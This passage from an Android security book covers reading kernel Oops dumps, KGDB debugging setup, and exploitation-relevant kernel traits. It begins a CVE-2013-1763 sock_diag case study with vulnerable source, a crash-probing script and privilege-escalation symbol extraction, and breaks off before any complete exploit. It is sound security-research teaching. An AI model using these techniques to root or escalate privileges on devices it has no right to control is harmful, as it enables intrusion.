Using these methods, it is possible to obtain kernel crash information. Now
you must make sense of this information to understand what issue is occurring
in kernel space.
Understanding an Oops
Kernel crash information is often referred to as an Oops. An Oops is nothing
more than a brief crash dump. It contains information such as a general classification, register values, data pointed to by the registers, information about loaded
modules, and a stack trace. Each piece of information is provided only when
it is available. For example, if the stack pointer gets corrupted, it is impossible
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to construct a proper stack trace. The remainder of this section examines an
Oops message from a Nexus 4 running Android 4.2.2. The full text of this
Oops is included with this book’s extra materials at http://www.wiley.com/
go/androidhackershandbook.
N O T E The kernel used for this section contains modifications from LG Electronics.
As such, some information might not appear in Oops messages from other devices.
This particular Oops occurred when triggering CVE-2013-1763, which lies
in the sock_diag_lock_handler function. More about this particular issue
is covered in a case study in the “sock_diag” section later in this chapter.
Rather than focus on that particular vulnerability here, let’s focus on the
understanding Oops message itself.
The fi rst line of the Oops indicates that an attempt was made to access
memory that was not mapped. This line is generated from the __do_kernel_fault function in arch/arm/mm/fault.c.
Unable to handle kernel paging request at virtual address 00360004
The kernel attempted to read from the user-space address 0x00360004. Because
nothing was mapped at this address in the user-space process that triggered
this issue, a page fault occurred.
The second and third lines deal with page table entries. These lines are generated from the show_pte function, also in arch/arm/mm/fault.c.
pgd = e9d08000
[00360004] *pgd=00000000
The second line shows the location of the Page Global Directory (PGD), whereas
the third line shows the value within the PGD for this address and the address
itself. Here, the *pgd value 0x00000000 indicates that this address is not mapped.
Page tables serve many purposes. Primarily, they are used to translate virtual
memory addresses into physical RAM addresses. They also track memory permissions and swap status. On 32-bit systems, page tables also manage systemwide use of physical memory beyond what the address space would normally
allow. This allows a 32-bit system to utilize more than 4GB of RAM, even when
a single 32-bit process cannot address all of it. You can find more information
about page tables and page fault handling in the book Understanding the Linux
Kernel, 3rd edition, or inside the Documentation/vm directory in the Linux kernel
source tree.
Following the page table information, the Oops message includes a line containing several useful pieces of information:
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Internal error: Oops: 5 [#1] PREEMPT SMP ARM
Despite being only a single line, this line is packed with information. This line
is emitted from the __die function in arch/arm/kernel/traps.c. The first part
of the string, Internal error, is static text inside the kernel source. The next
part, Oops, is passed in from the calling function. Other call sites use different
strings to indicate what type of error occurred. The next part, 5, indicates the
number of times the __die function has executed, though it is unclear why it
shows 5 here. The remainder of the line shows various features that the kernel
was compiled with. Here the kernel was compiled with preemptive multi-tasking
(PREEMPT), symmetric multi-processing (SMP), and using the ARM execution mode.
The next several lines are generated from the __show_regs function in arch/
arm/kernel/process.c. This information is some of the most important information in the Oops message. It is in these lines where you find out where the
crash occurred in the code and what state the CPU was in when it happened. The
following line begins with the number of the CPU on which the fault occurred.
CPU: 0
Not tainted
(3.4.0-perf-g7ce11cd ind#1)
After the CPU number, the next field shows whether or not the kernel was
tainted. Here the kernel is not tainted, but if it were it would say Tainted here
and would be followed by several characters that indicate exactly how the kernel
was tainted. For example, loading a module that violates the GPL causes the
kernel to become tainted and is indicated by the G character. Finally, the kernel
version and build number is included. This information is especially useful
when handling large amounts of Oops data.
The next two lines show locations within the kernel’s code segment where
things went wrong:
PC is at sock_diag_rcv_msg+0x80/0xb4
LR is at sock_diag_rcv_msg+0x68/0xb4
These two lines show the symbolic values of the pc and lr CPU registers,
which correspond to the current code location and its calling function. The
symbolic name is retrieved using the print_symbol function. If no symbol is
available, the literal register value will be displayed. With this value in hand, one
can easily locate the faulty code using IDA pro or an attached kernel debugger.
The next five lines contain full register information:
pc :
sp :
r10:
r7 :
r3 :
<c066ba8c>
ecf7dcd0 ip
00000012 r9
ecf7dd04 r6
00360000 r2
lr : <c066ba74>
00000006 fp :
00000012 r8 :
c108bb4c r5 :
ecf7dcc8 r1 :
:
:
:
:
psr: 20000013
ecf7debc
00000000
ea9d6600 r4 : ee2bb600
ea9d6600 r0 : c0de8c1c
These lines contain the literal values for each register. Such values can be
very helpful when tracking code flow backward from the crashing instruction,
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especially when combined with memory content information that appears later
in the Oops message. The final line of the literal register value block shows
various encoded flags:
Flags: nzCv
IRQs on
FIQs on
Mode SVC_32
ISA ARM
Segment user
The flags are decoded into a human readable representation. The first group,
which is nzCv here, corresponds to the Arithmetic Logic Unit (ALU) status flags
stored in the cpsr register. If a flag is on, it will be shown with a capital letter.
Otherwise, it will be shown in lowercase. In this Oops, the carry flag is set, but
the negative, zero, and overflow flags are unset.
Following the ALU status flags, the line shows whether or not interrupts or
fast interrupts are enabled. Next, the Oops shows what mode the processor was
in at the time of the crash. Because the crash occurred in kernel-space, the value
is SVC_32 here. The next two words indicate the instruction set architecture
(ISA) in use at the time of the crash. Finally, the line indicates whether the current segment is in kernel-space or user-space memory. Here it is in user-space.
This is a red flag because the kernel should never attempt to access unmapped
memory in user-space.
The next line, which concludes the output generated by the __show_regs
function, contains information that is specific to ARM processors.
Control: 10c5787d
Table: aa70806a
DAC: 00000015
Here, three fields appear: Control, Table, and DAC. These correspond to the
special privileged ARM registers c1, c2, and c3, respectively. The c1 register,
as its label suggests, is the ARM processor’s control register. This register is
used for configuring several low-level settings like memory alignment, cache,
interrupts, and more. The c2 register is for the Translation Table Base Register
(TTBR0). This holds the address of the first level page table. Finally, the c3 register
is the Domain Access Control (DAC) register. It specifies the permission levels
for up to 16 domains, two bits each. Each domain can be set to provide access
to user-space, kernel-space, or neither.
The following section, output by the show_extra_register_data function,
displays the contents of virtual memory where the general purpose registers
point. If a register does not point at a mapped address, it will be omitted or
appear with asterisks instead of data.
PC: 0xc066ba0c:
ba0c e92d4070 e1a04000 e1d130b4 e1a05001 e3530012 3a000021 e3530013 9a000002
[...]
LR: 0xc066b9f4:
b9f4 eb005564 e1a00004 e8bd4038 ea052f6a c0de8c08 c066ba0c e92d4070 e1a04000
[...]
SP: 0xecf7dc50:
dc50 c0df1040 00000002 c222a440 00000000 00000000 c00f5d14 00000069 eb2c71a4
[...]
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More specifically, these blocks display 256 bytes of memory starting 128 bytes
before the value of each register. The contents of memory where PC and LR point
are particularly useful, especially when combined with the decodecode script
included with the Linux kernel source. This script is used in the case study in
the “sock_diag” section later in this chapter.
After the memory contents section, the __die function displays more detail
about the process that triggered the fault.
Process sock_diag (pid: 2273, stack limit
Stack: (0xecf7dcd0 to 0xecf7e000)
dcc0:
dce0: c0de8c08 ee2bb600 ea065000 c066b9f8
dd00: ea065000 7fffffff 00000000 ee2bb600
[...]
= 0xecf7c2f0)
ea9d6600 ee2bb600 c066ba0c c0680fdc
c066b9d8 ef166200 ee2bb600 c067fc40
ea065000 00000000 ecf7df7c ecf7dd78
The first line shows the name, process ID, and the top of the kernel stack
for the thread. For certain processes, this function also shows the live portion
of kernel stack data, ranging from sp to the bottom. After that, a call stack is
displayed as follows:
[<c066ba8c>] (sock_diag_rcv_msg+0x80/0xb4) from [<c0680fdc>]
(netlink_rcv_skb+0x50/0xac)
[<c0680fdc>] (netlink_rcv_skb+0x50/0xac) from [<c066b9f8>]
(sock_diag_rcv+0x20/0x34)
[<c066b9f8>] (sock_diag_rcv+0x20/0x34) from [<c067fc40>]
(netlink_unicast+0x14c/0x1e8)
[<c067fc40>] (netlink_unicast+0x14c/0x1e8) from [<c06803a4>]
(netlink_sendmsg+0x278/0x310)
[<c06803a4>] (netlink_sendmsg+0x278/0x310) from [<c064a20c>]
(sock_sendmsg+0xa4/0xc0)
[<c064a20c>] (sock_sendmsg+0xa4/0xc0) from [<c064a3f4>]
(__sys_sendmsg+0x1cc/0x284)
[<c064a3f4>] (__sys_sendmsg+0x1cc/0x284) from [<c064b548>]
(sys_sendmsg+0x3c/0x60)
[<c064b548>] (sys_sendmsg+0x3c/0x60) from [<c000d940>]
(ret_fast_syscall+0x0/0x30)
The call stack shows the exact path that led to the fault, including symbolic
function names. Further, the lr values for each frame are displayed. From this,
it’s easy to spot subtle stack corruption.
Next, the dump_instr function is used to display the four user-space instructions leading to the fault:
Code: e5963008 e3530000 03e04001 0a000004 (e5933004)
Although the utility of displaying this data seems questionable, it could be
used to diagnose issues such as the Intel 0xf00f bug.
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After returning from the __die function, the die function resumes. The
function calls oops_exit, which displays a random value meant to uniquely
identify the Oops.
---[ end trace 3162958b5078dabf ]---
Finally, if the panic_on_oops flag is set, the kernel prints a final message and
halts:
Kernel panic - not syncing: Fatal exception
The Linux kernel Oops provides a wealth of information pertaining to the
activities of the kernel when an issue arises. This type of information is extremely
helpful when tracking down the root cause.
Live Debugging with KGDB
On occasion debugging with only kernel crash logs is not enough. To deal with
this problem, the kernel includes several configuration options and facilities
for debugging in real time. Searching the .config file for the string “DEBUG”
reveals more than 80 debug-related options. Searching for the word “debug”
in the Documentation directory shows more than 2,300 occurrences. Looking
closer, these features do anything from increasing debug logging to enabling
full interactive debugging.
The most interactive debugging experience available is provided by KGDB. It
isn’t necessarily always the best option, though. For example, setting breakpoints
in frequently hit areas is often very slow. Custom instrumentation or facilities
like Kprobes are better suited when debugging such situations. Nevertheless,
this section is about interactive debugging with KGDB. Before you get going,
you need to do some preparations on both the device and the development
machine. Following that, you can attach and see KGDB in action.
Preparing the Device
The Linux kernel supports KGDB over USB and console ports. These mechanisms
are controlled by the kgdbdbgp and kgdboc kernel command-line parameters,
respectively. Unfortunately, both options require special preparations. Using a
USB port requires a special USB driver whereas using a console port requires
access to a serial port on the device itself. Because information on accessing the
serial port of the Galaxy Nexus is widely available, using its console port for
demonstration purposes is ideal. More information about creating the necessary
cable is included in Chapter 13.
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After the cable is made, you build a custom boot image for the device. To get
everything working, you need to create both a custom kernel and RAM disk.
Because the kernel will take a while to build, start creating the custom kernel first. To get KGDB working, you need to tweak two things in the kernel:
the configuration and the board serial initialization code. The configuration
parameters that need to be changed are summarized in Table 10-1.
Table 10-1: Configuration Parameters Needed to Enable KGDB
FEATURE
DESCRIPTION
CONFIG_KGDB=y
Enable KGDB support in the kernel.
The Galaxy Nexus ships with the FIQ debugger enabled.
CONFIG_OMAP_FIQ_
DEBUGGER=n
Disable it to prevent conflicts with using the serial port for
KGDB.
CONFIG_CMDLINE=[...]
Set kgdboc to use the correct serial port and the baud rate.
Set the boot console to use the serial port, too.
CONFIG_WATCHDOG=n
Prevent the watchdog from rebooting the device while
debugging.
CONFIG_OMAP_
WATCHDOG=n
Now, the custom kernel needs a slight modification in order to use the serial
port connected to your custom cable. This is only a one line change to the
Open Multimedia Applications Platform (OMAP) board’s serial initialization
code. A patch that implements this change (kgdb-tuna-usb-serial.diff) and
a configuration template matching the settings in Table 10-1 are included with
this chapter’s downloadable material available at http://www.wiley.com/go/
androidhackershandbook
To build the kernel, follow the steps provided in the “Running Custom Kernel
Code” section earlier in this chapter. Rather than use the tuna_defconfig template,
use the supplied tunakgdb_defconfig. The commands to do so are shown here:
dev:~/android/src/kernel/omap $ make tunakgdb_defconfig
[...]
dev:~/android/src/kernel/omap $ make -j 6 ; make modules
[...]
While the kernel is building, you can start building the custom RAM disk.
You need to build a custom initrd.img in order to access the device via ADB.
Remember, the Micro USB port on the Galaxy Nexus is now being used as a
serial port. That means ADB over USB is out of the question. Thankfully, ADB
supports listening on a TCP port through the use of the service.adb.tcp.port
system property. The relevant commands follow.
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WARNING
The abootimg-pack-initrd command doesn’t produce Nexuscompatible initrd images. Instead, use mkbootfs from the system/core/cpio
directory in the AOSP repository. It is built as part of an AOSP image build.
dev:~/android/src/kernel/omap $ mkdir -p initrd && cd $_
dev:~/android/src/kernel/omap/initrd $ abootimg -x \
~/android/takju-jdq39/boot.img
[...]
dev:~/android/src/kernel/omap/initrd $ abootimg-unpack-initrd
1164 blocks
dev:~/android/src/kernel/omap/initrd $ patch -p0 < maguro-tcpadb-initrc.diff
patching file ramdisk/init.rc
dev:~/android/src/kernel/omap/initrd $ mkbootfs ramdisk/ | gzip > \
tcpadb-initrd.img
In these steps, you extract the initrd.img from the stock boot.img. Then you
unpack the initrd.img into the ramdisk directory using the abootimg-unpackinitrd command. Next, apply a patch to the init.rc in order to enable ADB
over TCP. This patch is included with this chapter’s materials. Finally, repack
the modified contents into tcpadb-initrd.img.
The fi nal steps depend on the kernel build completing. When it is done,
execute a few more familiar commands:
dev:~/android/src/kernel/omap/initrd $ mkbootimg --kernel \
../arch/arm/boot/zImage --ramdisk tcpadb-initrd.img -o kgdb-boot.img
dev:~/android/src/kernel/omap/initrd $ adb reboot bootloader
dev:~/android/src/kernel/omap/initrd $ fastboot flash boot kgdb-boot.img
dev:~/android/src/kernel/omap/initrd $ fastboot reboot
At this point the device will be booting up with your new kernel and will
have ADB over TCP enabled. Make sure the device can connect to your development machine via Wi-Fi. Connect to the device using ADB over TCP as follows:
dev:~/android/src/kernel/omap $ adb connect 10.0.0.22
connected to 10.0.0.22:5555
dev:~/android/src/kernel/omap $ adb -s 10.0.0.22:5555 shell
[email protected]:/ $
On a final note, this particular configuration can be a bit flaky. As soon as
the device’s screen dims or turns off, two things happen: Wi-Fi performance
severely degrades and the serial port is disabled. To make matters worse, the
built-in options for keeping the screen on won’t work. The normal settings menu
allows extending the display timeout to ten minutes; but that’s not enough. Then
there’s the development setting “stay awake” that keeps the screen on as long
as the battery is charging. However, the device’s battery will not charge while
you use the custom serial port cable. Luckily, several Android apps in Google
Play are specifically designed to keep the device’s screen on indefinitely. Using
one of these apps immediately after booting up makes a huge difference.
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Preparing the Host
There are only a few things left to do to get the host prepared for debugging
the device’s kernel. Most of the steps are already complete by this point. When
preparing the device, you have already set up your build environment and created a kernel binary that contains full symbols. There’s really only one thing
left before you connect the debugger.
When you configured the kernel, you set the kernel command line to use the
serial port for two purposes. First, you told the kernel that KGDB should use
the serial port via the kgdboc parameter. Second, you told the kernel that the
serial port should be your console via the androidboot.console parameter. In
order to separate these two streams of data, use a program called agent-proxy,
which is available from the upstream Linux kernel’s Git repositories at git://
git.kernel.org/pub/scm/utils/kernel/kgdb/agent-proxy.git. The following
excerpt shows the usage of agent-proxy:
dev:~/android/src/kernel/omap $ ./agent-proxy/agent-proxy 4440^4441 0 \
/dev/ttyUSB0,115200 & sleep 1
[1] 27970
Agent Proxy 1.96 Started with: 4440^4441 0 /dev/ttyUSB0,115200
Agent Proxy running. pid: 28314
dev:~/android/src/kernel/omap $ nc -t -d localhost 4440 & sleep 1
[2] 28425
[ 4364.177001] max17040 4-0036: online = 1 vcell = 3896250 soc = 77 status =
2
health = 1 temp = 310 charger status = 0
[...]
Launch agent-proxy in the background while specifying that it should split
KGDB and console communications to port 4440 and 4441, respectively. Give
it the serial port and baud rate and off you go. When you connect to port 4440
with Netcat, you see console output. Excellent!
Connecting the Debugger
Now that everything is in place, connecting the debugger is simple and straightforward. The following GDB script automates most of the process:
set remoteflow off
set remotebaud 115200
target remote :4441
To get started, execute the arm-eabi-gdb binary as follows:
dev:~/android/src/kernel/omap $ arm-eabi-gdb -q -x kgdb.gdb ./vmlinux
Reading symbols from /home/dev/android/src/kernel/omap/vmlinux...done.
[...]
In addition to telling GDB to execute the small script, you also tell the GDB
client to use the vmlinux binary as its executable file. In doing so, you’ve told
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GDB where to find all the symbols for the kernel, and thus where to find the
corresponding source code.
The GDB client sits waiting for something to happen. If you want to take
control, run the following command on the device as root.
[email protected]:/ # echo g > /proc/sysrq-trigger
At this point (before the new line is even drawn) the GDB client shows the
following.
Program received signal SIGTRAP, Trace/breakpoint trap.
kgdb_breakpoint () at kernel/debug/debug_core.c:954
954
arch_kgdb_breakpoint();
(gdb)
From here you can set breakpoints, inspect the code, modify kernel memory,
and more. You have achieved fully interactive source-level remote debugging
of the device’s kernel!
Setting a Breakpoint in a Module
As a final example of debugging the kernel, this section explains how to set a
breakpoint in the provided “Hello World” module. Dealing with kernel modules in KGDB requires a bit of extra work. After loading the module, look to
see where it’s loaded:
[email protected]:/data/local/tmp # echo 1 > /proc/sys/kernel/kptr_restrict
[email protected]:/data/local/tmp # lsmod
ahh_helloworld_mod 657 0 - Live 0xbf010000
To see the address of the module, first relax the kptr_restrict mitigation
slightly. Then, list the loaded modules with the lsmod command or by inspecting /proc/modules. Use the discovered address to tell GDB where to find this
module:
(gdb) add-symbol-file drivers/ahh_helloworld/ahh_helloworld_mod.ko 0xbf010000
add symbol table from file "drivers/ahh_helloworld/ahh_helloworld_mod.ko" at
.text_addr = 0xbf010000
(y or n) y
(gdb) x/i 0xbf010000
0xbf010000 <init_module>:
mov
r12, sp
(gdb) l init_module
[...]
12
int init_module(void)
13
{
14
printk(KERN_INFO "%s: HELLO [email protected]#[email protected]#\n", __this_module.name);
[...]
(gdb) break cleanup_module
Breakpoint 1 at 0xbf010034: file drivers/ahh_helloworld/ahh_helloworld_mod.c,
line 20.
(gdb) cont
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After GDB has loaded the symbols, it knows about the source code of the
module, too. Creating breakpoints works as well. When the module is eventually unloaded, the breakpoint triggers:
Breakpoint 1, 0xbf010034 in cleanup_module () at
drivers/ahh_helloworld/ahh_helloworld_mod.c:20
20
{
No matter how one chooses to do so, debugging the kernel is an absolute necessity when tracking down or exploiting complex vulnerabilities. Debugging post
mortem or live, using crash dumps or debugging interactively, these methods
help a researcher or developer achieve a deep understanding of the issues at play.
Exploiting the Kernel
Android 4.1, code named Jelly Bean, marked an important point in the evolution
of Android security. That release, as discussed further in Chapter 12, finally
made user-space exploitation much more difficult. Further, the Android team
invested heavily in bringing SELinux to the platform. Taking both of these facts
into consideration, attacking the Linux kernel itself becomes a clear choice. As
far as exploitation targets go, the Linux kernel is relatively soft. Though there
are a few effective mitigations in place, there is much left to be desired.
Several wonderful resources on kernel exploitation have been published
over the last decade. Among all of the presentation slide decks, blog posts,
white papers, and exploit code published, one shines particularly brightly. That
resource is the book A Guide to Kernel Exploitation: Attacking the Core by Enrico
Perla and Massimiliano Oldani (Syngress, 2010). It covers a range of topics,
including kernels other than just Linux. However, it doesn’t cover any ARM
architecture topics. This section aims to shed light on exploiting the Linux kernel
on Android devices by discussing typical kernel configurations and examining
a few exploitation case studies.
Typical Android Kernels
Like many other aspects of the Android devices, the Linux kernels used vary
from device to device. The differences include the version of the kernel, exact
configuration options, device-specific drivers, and more. Despite their differences,
many things remain the same throughout. This section describes some of the
differences and similarities between the Linux kernels used on Android devices.
Versions
The particular version of the kernel varies quite a bit but falls roughly into four
groups: 2.6.x, 3.0.x, 3.1.x, and 3.4.x. The groups that use these particular versions
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can be thought of as generations with the first generation of devices using 2.6.x
and the newest generation using 3.4.x. Android 4.0 Ice Cream Sandwich was
the first to use a kernel from the 3.0.x series. Several early Jelly Bean devices,
like the 2012 Nexus 7, use a 3.1.x kernel. The Nexus 4, which was the first to use
a 3.4.x kernel, shipped with Android 4.2. As of this writing, no mainstream
Android devices use a kernel newer than 3.4.x despite the latest Linux kernel
version being 3.12.
Configurations
Over the years, the Android team made changes to the recommended configuration of an Android device. The Android developer documentation and CDD
specify some of these settings. Further, the Compatibility Test Suite (CTS) verifies
that some kernel configuration requirements are met. For example, it checks
two particular configuration options, CONFIG_IKCONFIG and CONFIG_MODULES,
for newer versions of Android. Presumably for security reasons, both of these
settings must be disabled. Disabling loadable module support makes gaining
code executing in kernel-space more difficult after root access has been obtained.
The CTS check that verifies that the embedded kernel configuration is disabled
states “Compiling the config file into the kernel leaks the kernel base address
via CONFIG_PHYS_OFFSET.” Beyond these two settings, additional requirements that are described in Chapter 12 are also checked. A deeper examination of kernel configuration changes across a range of devices may reveal other
interesting patterns.
The Kernel Heap
Perhaps one of the most relevant kernel configuration details relates to kernel
heap memory. The Linux kernel has a variety of memory allocation APIs with
most of them boiling down to kmalloc. At compile time, the build engineer
must choose between one of three different underlying heap implementations:
SLAB, SLUB, or SLOB. A majority of Android devices use the SLAB allocator:
a few use the SLUB allocator. No Android devices are known to use the SLOB
allocator, though it’s difficult to rule it out entirely.
Unlike much of the rest of the kernel address space, heap allocations have
some entropy. The exact state of the kernel heap is influenced by many factors.
For one, all of the heap operations that have taken place between boot and when
an exploit runs are largely unknown. Secondly, attacking remotely or from an
unprivileged position means that the attacker will have little control over ongoing operations that might be influencing the heap while the exploit is running.
From a programmer’s point of view, the details of a given heap implementation aren't very important. However, from an exploit developer’s point of view,
the details make all of the difference between a reliable code execution exploit
and a worthless crash. A Guide to Kernel Exploitation and the Phrack article that
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preceded it both provide quite detailed information about exploiting the SLAB
and SLUB allocators. Additionally, Dan Rosenberg discussed exploitation techniques that apply to the SLOB allocator at the Infiltrate conference in 2012. His
paper and slide deck, entitled “A Heap of Trouble: Breaking the Linux Kernel
SLOB Allocator,” were later published at https://immunityinc.com/infiltrate/archives.html.
Address Space Layout
Modern systems split the virtual address space between kernel-space and userspace. Exactly where the line is drawn differs from device to device. However,
a vast majority of Android devices use the traditional 3-gig split where kernelspace occupies the highest gigabyte of address space (>= 0xc0000000) and userspace occupies the lower three gigabytes (below 0xc0000000). On most Linux
systems, including all Android devices, the kernel is able to fully access userspace memory directly. The kernel is able to not only read and write kernel
space memory, but it is also allowed to execute it.
Recall from earlier in this chapter that the kernel is a single monolithic image.
Because of this fact, all global symbols are located at static addresses in memory.
Exploit developers can rely on these static addresses to make their tasks easier.
Further, a majority of the code areas in the ARM Linux kernel were marked
readable, writable, and executable until only recently. Lastly, the Linux kernel
makes extensive use of function pointers and indirection. Such paradigms provide
ample opportunities to turn memory corruption into arbitrary code execution.
The combination of these issues makes exploiting the Linux kernel far easier
than exploiting user-space code on Android. In short, Android’s Linux kernel
is a significantly more approachable target than most other modern targets.
Extracting Addresses
As stated before, the kernel build tools embed several security-pertinent pieces
of information into the binary kernel image. Of particular note is the kernel
symbol table. Inside the kernel, there are many different global data items and
functions, each identified by a symbolic name. These names, and their corresponding addresses, are exposed to user-space via the kallsyms entry in the
proc file system. Due to the way the binary kernel image is loaded, all global
symbols have the same static address, even across boots. From an attacker point
of view, this is highly advantageous because it provides a map for a great deal
of the kernel’s address space. Knowing exactly where crucial functions or data
structures are in memory greatly simplifies exploit development.
The CONFIG_KALLSYMS configuration option controls whether the kernel symbol table is present in the binary image. Luckily, all Android devices (with the
exception of some TV devices) enable this option. As a matter of fact, disabling
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this setting makes debugging kernel problems much more difficult. Prior to
Jelly Bean, it was possible to obtain the names and addresses of nearly all kernel symbols by reading the /proc/kallsyms file. Jelly Bean and later versions
prevent using this method. However, all is not lost.
On Android, the device manufacturer bakes the Linux kernel into each device’s
firmware. Updating the kernel requires an Over-the-Air (OTA) update or flashing a new factory image. Because there is only one binary kernel image for each
release for a device, you can approach this situation in one of two ways. First, you
can obtain the binary image and extract the addresses of most kernel symbols
statically. Second, you can use suitable information disclosure vulnerabilities,
like CVE-2013-6282, to read the symbol table directly from kernel memory. Both
of these methods circumvent the mitigation that prevents using /proc/kallsyms
directly. Further, the obtained addresses can be leveraged for both local and
remote attacks because they are effectively hardcoded.
The kallsymprint tool from the “android-rooting-tools” project facilitates
extracting symbols statically. To build this tool, you need the source from two
different projects on Github. Thankfully, the main project includes the other
project as a Git submodule. The steps to build and run this tool against a stock
Nexus 5 kernel are shown here:
dev:~/android/n5/hammerhead-krt16m/img/boot $ git clone \
https://github.com/fi01/kallsymsprint.git
Cloning into 'kallsymsprint'...
[...]
dev:~/android/n5/hammerhead-krt16m/img/boot $ cd kallsymprint
dev:~/android/n5/hammerhead-krt16m/img/boot/kallsymprint $ git submodule init
Submodule 'libkallsyms'
(https://github.com/android-rooting-tools/libkallsyms.git)
registered for path 'libkallsyms'
dev:~/android/n5/hammerhead-krt16m/img/boot/kallsymprint $ git submodule \
update
Cloning into 'libkallsyms'...
[...]
Submodule path 'libkallsyms': checked out
'ffe994e0b161f42a46d9cb3703dac844f5425ba4'
The checked out repository contains a binary image, but it’s generally not
advised to run an untrusted binary. After understanding the source, build it
yourself using the following commands.
dev:~/android/n5/hammerhead-krt16m/img/boot/kallsymprint $ rm kallsymprint
dev:~/android/n5/hammerhead-krt16m/img/boot/kallsymprint $ gcc -m32 -I. \
-o kallsymsprint main.c libkallsyms/kallsyms_in_memory.c
[...]
With the binary recompiled from source, extract the symbols from your
decompressed Nexus 5 kernel as follows:
dev:~/android/n5/hammerhead-krt16m/img/boot/kallsymprint $ cd ..
dev:~/android/n5/hammerhead-krt16m/img/boot $ ./kallsymsprint/kallsymsprint \
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piggy 2> /dev/null | grep -E '(prepare_kernel_cred|commit_creds)'
c01bac14 commit_creds
c01bb404 prepare_kernel_cred
These two symbols are used in the kernel privilege escalation payload used
in many kernel exploits, including some of the case studies in the next section.
Case Studies
Taking a closer look at the exploit development process is probably the best
way to drive home some of the concepts used to exploit kernel vulnerabilities.
This section presents case studies that detail how three particular issues were
exploited on vulnerable Android devices. First, it briefly covers a couple of
interesting Linux kernel issues that affect a range of devices, including nonAndroid devices. Then it takes a deep dive into porting an exploit for a memory
corruption issue that affected several Android devices, but was only developed
to work in specific circumstances.
sock_diag
The sock_diag vulnerability serves as an excellent introduction to exploiting the
Linux kernels used on Android devices. This bug was introduced during the
development of version 3.3 of the Linux kernel. No known Android devices use
a 3.3 kernel, but several use version 3.4. This includes Android 4.3 and earlier on
the Nexus 4 as well as several other retail devices, such as the HTC One. Using
this vulnerability, affected devices can be rooted without needing to wipe user
data. Further, attackers could leverage this issue to escalate privileges and take
full control of an exploited browser process. The bug was assigned CVE-20131763, which reads as follows.
Array index error in the __sock_diag_rcv_msg function in net/core/sock_
diag.c in the Linux kernel before 3.7.10 allows local users to gain privileges
via a large family value in a Netlink message.
As the Common Vulnerabilities and Exposures (CVE) description suggests,
this function is called when processing Netlink messages. More specifically,
there are two criteria for reaching this function. First, the message must be sent
over a Netlink socket using the NETLINK_SOCK_DIAG protocol. Second, the
message must specify an nlmsg_type of SOCK_DIAG_BY_FAMILY. There are
several public exploits for the x86 and x86_64 architectures that show how this
is done in detail.
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The CVE description also states that the issue is present in the __sock_diag_
rcv_msg function in the net/core/sock_diag.c file in the Linux kernel. This is
not strictly true, as you will see. The aforementioned function is presented here:
120 static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr
*nlh)
121 {
122
int err;
123
struct sock_diag_req *req = NLMSG_DATA(nlh);
124
struct sock_diag_handler *hndl;
125
126
if (nlmsg_len(nlh) < sizeof(*req))
127
return -EINVAL;
128
129
hndl = sock_diag_lock_handler(req->sdiag_family);
When this function is called, the nlh parameter contains data supplied by
the unprivileged user that sent the message. The data within the message corresponds to the payload of the Netlink message. On line 129, the sdiag_family
member of the sock_diag_req structure is passed to the sock_diag_lock_handler function. The source for that function follows:
105 static inline struct sock_diag_handler *sock_diag_lock_handler(int
family)
106 {
107
if (sock_diag_handlers[family] == NULL)
108
request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
109
NETLINK_SOCK_DIAG, family);
110
111
mutex_lock(&sock_diag_table_mutex);
112
return sock_diag_handlers[family];
113 }
In this function, the value of the family parameter is controlled by the user
sending the message. On line 107, it is used as an array index to check to see if
an element of the sock_diag_handlers array is NULL. There’s no check that the
index is within the bounds of the array. On line 112, the item within the array
is returned to the calling function. It’s not obvious why this matters yet. Let’s
go back to the call site and track the return value further through the code.
# continued from __sock_diag_rcv_msg in net/core/sock_diag.c
129
hndl = sock_diag_lock_handler(req->sdiag_family);
130
if (hndl == NULL)
131
err = -ENOENT;
132
else
133
err = hndl->dump(skb, nlh);
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Line 129 is the call site. The return value is stored into the hndl variable.
After passing another NULL check on line 130, the kernel uses this variable to
retrieve a function pointer and call it. A reader experienced with vulnerability
research can already see the promise this vulnerability holds.
So you can get the kernel to fetch this variable from outside of the array
bounds. Unfortunately, you don’t control the value of hndl outright. To control
the contents of hndl, you have to get it to point to something you do control.
Without knowing what kinds of things lie beyond the bounds of the array,
it’s not clear what value might work for the family variable. To find this out,
put together a proof-of-concept program that takes a value to be used as the
family variable on the command line. The plan is to try a range of values for
the index. The device will reboot if a crash occurs. Thanks to /proc/last_kmsg,
you can see the crash context as well as values from kernel space memory.
The following excerpt shows the shell script and command line that is used to
automate this process.
dev:~/android/sock_diag $ cat getem.sh
#!/bin/bash
CMD="adb wait-for-device shell /data/local/tmp/sock_diag"
/usr/bin/time -o timing -f %e $CMD $1
TIME=`cat timing | cut -d. -f1`
let TIME=$(( $TIME + 0 ))
if [ $TIME -gt 1 ]; then
adb wait-for-device pull /proc/last_kmsg kmsg.$1
fi
dev:~/android/sock_diag $ for ii in `seq 1 128`; do ./getem.sh $ii; done
[...]
The shell script detects whether the device crashed based on how long it took
for the adb shell command to execute. When a crash occurs, the ADB session
hangs momentarily while the device reboots. If there was no crash, ADB returns
quickly. When a crash is detected, the script pulls the /proc/last_kmsg down
and names it based on the index tried. After the command completes, take a
look at the results.
dev:~/android/sock_diag $ grep 'Unable to handle kernel paging request' kmsg.* \
| cut -f 20[...]
kmsg.48: Unable to handle kernel paging request at virtual address 00001004
[...]
kmsg.51: Unable to handle kernel paging request at virtual address 00007604
[...]
kmsg.111: Unable to handle kernel paging request at virtual address 31000034
kmsg.112: Unable to handle kernel paging request at virtual address 00320004
kmsg.113: Unable to handle kernel paging request at virtual address 00003304
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kmsg.114: Unable to handle kernel paging request at virtual address 35000038
kmsg.115: Unable to handle kernel paging request at virtual address 00360004
kmsg.116: Unable to handle kernel paging request at virtual address 00003704
[...]
You can see several values that crash when trying to read from a user-space
address. Sadly, you can’t use the first couple of values due to the mmap_min_addr
kernel exploitation mitigation. However, some of the next few look usable. You
can map such an address in your program and control the contents of hndl. But
which should you use? Are these addresses stable?
The “Understanding an Oops” section earlier in this chapter examined the
Oops message from last_kmsg.115 and stated that using the decodecode script
is particularly useful. The output shown here demonstrates how that script can
help you get more detailed information about the crash context.
dev:~/android/src/kernel/msm $ export CROSS_COMPILE=arm-eabidev:~/android/src/kernel/msm $ ./scripts/decodecode < oops.txt
[ 174.378177] Code: e5963008 e3530000 03e04001 0a000004 (e5933004)
All code
========
0:
e5963008
ldr
r3, [r6, #8]
4:
e3530000
cmp
r3, #0
8:
03e04001
mvneq
r4, #1
c:
0a000004
beq
0x24
10:* e5933004
ldr
r3, [r3, #4]
<-- trapping instruction
